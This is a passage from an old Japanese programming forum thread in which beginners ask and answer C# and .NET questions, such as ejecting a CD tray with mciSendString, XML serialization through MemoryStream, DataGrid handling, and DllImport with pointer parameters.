public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd);
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
で良さそうだけど。
//開閉状態のチェックは色々難しいところがあるようだ……。
URLリンク(forums.belution.com)
431:デフォルトの名無しさん
04/10/24 01:28:56
特定のドライブ、となると一旦openする必要があるのかな。
StringBuilder sb = new StringBuilder(256);
uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero);
if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック
mciSendString("set Hoge door open", null, 0, IntPtr.Zero);
432:429
04/10/24 17:17:55
できましたー
SendStringで開閉できたんですねorz
ありがとうございました
433:デフォルトの名無しさん
04/10/24 19:32:03
C#でチャットを作っています
メッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、
private void richTextBox1_TextChanged(object sender, System.EventArgs e)
{
richTextBox1.SelectionLength = 0;
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
richTextBox1.Focus();
richTextBox2.Focus();
//もしくは
//richTextBox1.SelectionStart = richTextBox1.Text.Length;
//richTextBox1.Select();
//richTextBox1.Focus();
//richTextBox2.Focus();
}
とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、
このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。
richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。
434:467
04/10/24 23:06:09
すいません自己解決しますた
Focus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました
435:433
04/10/24 23:06:41
433だった・・・
436:デフォルトの名無しさん
04/10/25 22:10:19
文字列の検索でIndexOfとかIsMatchを使うと
[]とかの正規表現に使う文字列がうまく検索できないみたいなんですけど
これって普通に[]とかを検索したい場合、検索したい文字列を自分で
変換したりする必要があるんですか?
それとも他に何か簡単な方法があるんでしょうか?
教えてくださいお願いします。
437:デフォルトの名無しさん
04/10/25 22:14:21
.NET FrameworkにはIsMatchメソッドがあるのがRegexクラスしかなくて、RegexクラスにIndexOfメソッドはないんだが。
一体何でどうやって文字列の検索をしてるのかな。
438:デフォルトの名無しさん
04/10/25 22:24:58
大昔の「コンピュータがクリックして困ってるんだ!」っていう話を思い出した。
439:デフォルトの名無しさん
04/10/25 22:49:21
>>437
レスありがとうございます。
検索の方法はコンボボックスのテキストから
ループさせて毎回比べるようなやり方で検索しています。
for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
{
string s = DataGrid.Rows[i].Cells[0].Value.ToString();
int a = s.IndexOf(sStripPanel1.Text);
if (a!= -1)
{
結果表示
}
}
意味不明なことしてたらすみません。。。
RegexクラスのIsMatchでもやってみたんですけど
正規表現に使うらしい文字列?を入力するとエラーが出ました。
440:デフォルトの名無しさん
04/10/25 23:03:42
>>439
> for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
最後のRowはチェックしないのな。
String.IndexOfは正規表現由来のメタ文字なんか考慮しない。
"abc[def]g".IndexOf("[d")は3を返す。
//まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。
実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら?
sStripPanel1.Textが意外な文字列になってる可能性がある。
念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。
441:デフォルトの名無しさん
04/10/25 23:15:18
>>440
どうもありがとうございます。
>最後のRowはチェックしないのな。
します、直します( ´Д⊂ヽ
IndexOfで普通にできるのが分かっただけでも良かったです。
たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。
色々やってみます。ありがとうございましたm(_ _)m
442:デフォルトの名無しさん
04/10/25 23:30:28
非ビジュアルなコンポーネントを作りたいのですが、
書籍かWEBで適当な入門書があったら教えてください。
C#によるコンポーネントプログラミング
(URLリンク(www.amazon.co.jp))
にはビジュアルなコントロールの作り方しか載っていませんでした。
よろしくお願いします。
443:デフォルトの名無しさん
04/10/26 00:06:51
>>442
そりゃ漠然としすぎてて書きようがないからじゃないかなぁ。
URLリンク(www.microsoft.com)
ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm
を参照にする。
まあ、Componentを継承させときゃいいよ、うん。
444:在日外国人参政権反対
04/10/26 00:13:31
>442
.NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?
445:デフォルトの名無しさん
04/10/26 00:31:58
>>443
ありがとうございます。
ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。
>>444
いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、
ラッパーコンポーネントを作ろうと思っています。
446:デフォルトの名無しさん
04/10/26 01:11:52
DataTableをdataGrid.DataSourceに設定して、
dataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、
見つける方法ないですか?
ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。
447:446
04/10/26 01:14:57
Windows.FormsのDataGridです。
448:デフォルトの名無しさん
04/10/26 01:59:00
>>446
dataGrid.DataSource.Rows[dataGird.CurrentRowIndex];
つか設計おかしいよ。順番気にしてる時点で。
449:デフォルトの名無しさん
04/10/26 02:08:15
>>448
わけあってDataGridをListViewのように使ってるんです。
で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。
450:デフォルトの名無しさん
04/10/26 02:24:19
あー、そういうことか。
主キーのところの値が完全一致するのを探せば良いんじゃない?
//カラムの並びを入れ替えられるとお手上げかな。
451:デフォルトの名無しさん
04/10/26 02:46:42
>>450
やっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。
ありがとうございました。
452:デフォルトの名無しさん
04/10/28 00:49:32
>>446
CurrencyManagerを使えばできないかな
453:デフォルトの名無しさん
04/10/28 00:56:18
ふとどぼんを見に行ったらこんなのもあったが。
URLリンク(dobon.net)
454:デフォルトの名無しさん
04/10/29 13:04:24
Socket.Send()を利用するため、XmlSerializerでシリアル化したオブジェクトをバイト配列にコンバートして
Send()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。
やっぱできないのでしょうか。。。。
455:デフォルトの名無しさん
04/10/29 13:15:50
MemoryStream ms = new MemoryStream();
xmlSerializer.Serialize(ms, obj);
byte[] bytes = ms.ToArray();
socket.Send(bytes, 0, bytes.Length);
ということかな?
456:デフォルトの名無しさん
04/10/29 13:18:23
>>454
MemoryStream
457:デフォルトの名無しさん
04/10/29 13:20:12
455のsocket.Send、パラメータをStream.Writeと勘違い……。
458:454
04/10/29 14:29:46
>>455,456さん
ありがとうございます、MemoryStreamをつかうんですね
ためしてみます(`・ω・´)
459:デフォルトの名無しさん
04/10/29 22:47:34
.net2で質問なんですけど、、、
this.TopMost = !this.TopMost;
とやると常に手前にしたときにメインメニューのドロップダウンの部分が
フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?
460:デフォルトの名無しさん
04/10/29 23:58:23
Visual Studioで使われているようなタブコントロールを作りたいのですが、
あれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。
サードパーティ製のものもあるにはあるのですが、
せっかくなので自分で作ってみたいのです。
461:在日外国人参政権反対
04/10/30 01:16:55
>460
自分で気合で描画することを進めます。
462:454
04/10/30 17:42:20
たびたびすいません、454です
>>455を参考にやってみましたが、うまくいかず(´・ω・`)
デシリアライズはこれでいいんですよ・・・ね・・・?
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
463:デフォルトの名無しさん
04/10/30 17:46:03
>>462
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
msRead.Position = 0; // コレ追加よろ
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();
464:454
04/10/30 17:52:28
>>463
おぉぉ、うまくいったー
ありがとうございます
Position指定必要だったんですね・・・・まったく気づかなかった(つД`)
465:デフォルトの名無しさん
04/10/30 18:26:25
>>461
ちまちまやってみますわ。
.net 2.0になっても各種コントロールはショボイままだった…。
幾つか良くなったのもあるけど。
466:デフォルトの名無しさん
04/10/30 21:12:36
CSVから読み込んで、datasetに収まってる
7995.005229
とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか?
Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)
467:デフォルトの名無しさん
04/10/30 21:14:38
>>466
doubleにしてからintに落とせば?
468:デフォルトの名無しさん
04/10/30 21:16:36
>>465
基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。
そういうのはサードパーティの仕事です。
469:デフォルトの名無しさん
04/10/30 21:21:44
そのサードパーティのライブラリでよく使われる?ActiveReport
やFlexGridなどの解説本を探してみたのだが、全然見つからないね。
ヘルプだけ見て使いこなせということなんだろうか。
470:466
04/10/30 22:10:21
>>467
いけました。ありがとうございました
471:デフォルトの名無しさん
04/10/30 23:28:29
>>468
まぁ今の".NET Framework"はそうかもしれないけど、
いずれWindowsのAPIになっていくわけでしょ。
そうするとやっぱりWindowsが提供するネイティブコントロールは
しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。
472:デフォルトの名無しさん
04/10/30 23:36:02
>>469
VS標準のCrystalReportも日本語だとあまり情報ないよね。
仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから
しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。
473:在日外国人参政権反対
04/10/30 23:48:30
>468
Windows.Formsにまとめてるのはその意図を汲んでのことだろう。
だからこそそれを拡充させてほしい気はする。
474:デフォルトの名無しさん
04/10/30 23:58:33
リストボックスから条件に見合ったオブジェクトを削除したいのですが、
foreach ( UserList logoutUser in listBox1.Items )
{
if ( recMessage.TargetUserID == logoutUser.UserGuid )
{
listBox1.Items.Remove(logout);
}
}
と書くと
System.InvalidOperationException:
この列挙子が連結されている一覧は変更されています。
列挙子は、一覧が変更しない場合に限り使用できます。
とゴルァされるのですが、いい方法ないでしょうか・・・。
475:デフォルトの名無しさん
04/10/31 00:01:00
あ、最後のところRemove(logoutUser)でつ
476:デフォルトの名無しさん
04/10/31 00:04:54
そりゃ列挙中に肝心の列挙するコレクションが変わってしまっては話にならないだろ。
forで回してやるとかしな。
477:474
04/10/31 00:13:16
ありがとうございました。
1回ブツが釣れれば十分なのでbreakかましたらうまくいきました
吊ってきますorz
478:デフォルトの名無しさん
04/10/31 12:12:15
「すれ立てるまでもない質問・・・」に書き込んだら怒られてしまいました。
同じ内容ですが、こちらに書かせてください。
VS.NetのC#でプログラム作ってるんですが、データセットから
テキストボックスにバインドする方法が分からないんです。
といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて
データテーブルのある条件に合致するレコードの項目をバインドしたいんです。
例えば
Key 列1 列2
001 1AAA 1BBB
002 2AAA 2BBB
003 3AAA 3BBB
004 4AAA 4BBB
005 5AAA 5BBB
みたいなデータテーブルから、TextBoxにはKey=003の条件によって
列1の内容(3AAA)をバインドしたいんです。
もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・
お願いします。
479:デフォルトの名無しさん
04/10/31 18:21:08
ふと思ったんですけど、
using System.Windows.Forms;
という感じにしておいた部分を
using System.Windows.NewForms;
とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?
480:デフォルトの名無しさん
04/10/31 18:22:36
オレ的には邪道
481:デフォルトの名無しさん
04/10/31 19:07:04
>>479
その場合、
using System.Windows.Forms;
↓
using No479.Windows.Forms;
みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。
URLリンク(www.microsoft.com)
482:479
04/10/31 19:11:46
>>481
ちゃうちゃう
System.Windows.Forms と System.Windows.NetForms の中に、
型は同じだけど挙動の異なるクラスがあったときに、
using 文でどちらを採用するか切り替えるのは邪道かな?って事
483:479
04/10/31 19:12:21
>>482
別に名前空間名はなんだって良いんだが
484:デフォルトの名無しさん
04/10/31 20:48:00
>>482
そういうクラスが大量にあるソースを目の前にしたときに激しい絶望感に襲われるのでやめてください。
using書いてるのにnamespaceフルに書いて別のnamespaceのクラスを使用されたりして混沌に拍車がかかったりします、してます……
485:479
04/10/31 20:52:06
何となく分かりました。皆さんも回答有難う御座います
>>484
がんがって下さい orz
486:デフォルトの名無しさん
04/10/31 20:57:35
>>484
using Hoge = System.Windows.Forms;
Hoge.Form = new Hoge.Form();
で随分楽になると思うけど。
まあ479みたいなのは見たくもないと言うのはよく分かる。
487:デフォルトの名無しさん
04/11/01 02:18:40
>479
そういうののためにAbstractFactoryとかあるとおもうのだけど。
あれは切り替えできるとともに、システム上での選択肢をひとつに強制するという使い方でもある。
ソースごとにusingで切り替えられるのは>>484のいうとおりたちの悪いバグの元。
488:デフォルトの名無しさん
04/11/02 04:49:20
FormクラスのActivate()メソッドを使用してます
>>アクティブなアプリケーションであるフォームをアクティブにした場合は、そのフォームが最前面に移動します。
>>アクティブなアプリケーションではないフォームの場合は、そのフォームのウィンドウ キャプションが点滅します。
とあるのですが、他のアプリケーションに切り替えてるときにこのメソッド呼び出されると、最前面に来る場合があるのですが、
他のアプリケーションにフォーカスしている ≠ その他のアプリケーションのフォームがアクティブである
ということなのしょうか・・・?
MSNメッセンジャーのように、通知が来たときに点滅するだけでいいのですが、
これってWin32API叩くしかないんでしょうか・・・。
489:デフォルトの名無しさん
04/11/02 09:28:31
>>488
なるねー。
.NET2.0ならFlashメソッドってのがあるんだけど。
490:488
04/11/02 14:36:14
1.1じゃムリかなぁ(つД`)
491:デフォルトの名無しさん
04/11/02 17:24:17
VSの画面にはドッキングウィンドウなどありますが、あのコンポーネントは何処にありますか?
あの画びょうのマークのついたドッキングウィンドウ・コンポーネントと、
プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
探していますが見つからない。
492:デフォルトの名無しさん
04/11/02 17:36:37
>>491
とりあえず
> プロパティを設定するためのコンポーネント(VS右下の、Nameとか設定できる奴)を
はPropertyGridだな。こいつは.NET Framework標準。
ドッキングウィンドウは……the Code Projectにあったようななかったような。
493:デフォルトの名無しさん
04/11/02 18:59:20
richTextBox1.AppendText( recMessage.ToString() + " : " + recMessage.Message + "\r\n" );
を
richTextBox1.AppendText( recMessage.ToString() + " : " /* + recMessage.Message + "\r\n" */);
string[] splString = recMessage.Message.Split(new char[] {'#'});
for ( int count = 0 ; count + 1 <= splString.Length ; count++ ){
if ( count != 0 ){
String colorCode = splString[count].Substring(0,1);
switch ( colorCode ){
case "1":
richTextBox1.SelectionColor = System.Drawing.Color.Blue;
richTextBox1.AppendText(splString[count].Substring(1));
break;
(中略)
default :
richTextBox1.AppendText(splString[count]);
break;
}
}else{
richTextBox1.AppendText(splString[count]);
}
}
richTextBox1.AppendText("\r\n");
}
にしたところ、エラー音が出るようになりました(処理は正常に行われてるっぽい) なぜでしょう・・・?
494:デフォルトの名無しさん
04/11/02 23:03:59
>>491
DockPanelSuite URLリンク(sourceforge.net)
無償でオープンソース。現在ベータ版で、メニューの統合がうまくいかないなどバグが残る。
DotNetMagic URLリンク(www.dotnetmagic.com)
機能的にはおそらく最強。でも有償。
MagicDocking URLリンク(www.codeproject.com)
DotNetMagic の旧バージョン。ライセンスはよくわからん。
SharpDevelopに使われるなど実績あり。
Docking Suite URLリンク(www.divil.co.uk)
現在ベータ版。非商用利用に限り無償。
代表的なところでは、こんなものか。見た目や動きが微妙に違うので、実際に使ってみて選んだ方がいい。
495:デフォルトの名無しさん
04/11/03 10:49:11
鯖から非同期に送られてきたデータをバックグラウンドで取得し、イベントとして通知するようなライブラリ作ってます
1:TcpClient を使っているとき、サーバから切断されたことをすぐに知るにはどうすればいいか
2:異常切断されたときイベントなどで通知することを考えているが、
通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか
ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m
496:デフォルトの名無しさん
04/11/03 12:41:36
プログラム歴2ヶ月で答えると叩かれそうだが・・・
1,
byte[] byteAry = 受信データ;
if ( byteAry.Length <= 0 )
{ パイプカット }
2,
ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか
でしゃばってスマソ
497:デフォルトの名無しさん
04/11/03 23:25:41
>495
1.物理的に切断を瞬間的に不可能。
TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。
2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ
以上。
498:杏仁
04/11/05 17:39:49
最近C#を始めました。良く分からないので質問させてください。
いま、Cで作成されたDLLをDllImportで呼び出しています。
そのDLLの仕様を見ると関数は
void hoge(UINT *pWidth, UINT *pHeight);
とポインタで呼び出していました。
[DllImport("hogehoge.dll")]
public static extern void hoge(int w, int h);
としても当然うまくいきませんでした。
C#でこのような場合ようやってDllImportすればいいのでしょうか?
お手数ですが、お教えください。よろしくお願いします。
499:デフォルトの名無しさん
04/11/05 17:46:06
>>498
ref System.UInt32 にする。
(まぁ小さげな値だろうから ref System.Int32 でもいいだろうけど)
500:デフォルトの名無しさん
04/11/05 17:53:35
System.IntPtrで外部関数のパラメータを定義し
System.Runtime.InteropServices.Marshal.AllocCoTaskMemでメモリを確保、
System.Runtime.InteropServices.Marshal.WriteInt32で確保したメモリに書き込み、
関数に渡す。
結果をSystem.Runtime.InteropServices.Marshal.ReadInt32で読み込んで
System.Runtime.InteropServices.Marshal.FreeCoTaskMemでメモリを破棄する。
uint*程度でやる事じゃありません。
501:デフォルトの名無しさん
04/11/05 17:58:17
関数がどんな性質なのかにもよるんだよなー。
これがよくもあり悪くもあり。
502:杏仁
04/11/05 18:34:05
回答ありがとうございます。
>>499
> ref System.UInt32 にする。
[DllImport("hogehoge.dll")]
public static extern void hoge(ref System.UInt32 w, ref System.UInt32 h);
ということでしょうか?この場合、どうやって呼び出せばいいのですか?
int w=0;
int h=0;
hoge(w,h);
としてもうまくいきません。
>>500
回答していただいたのにさっぱり・・・。
もう少し分かりやすくお願いできますでしょうか?
最近始めたばかりで、さっぱり右も左も分からない状態です。
よろしくお願いします。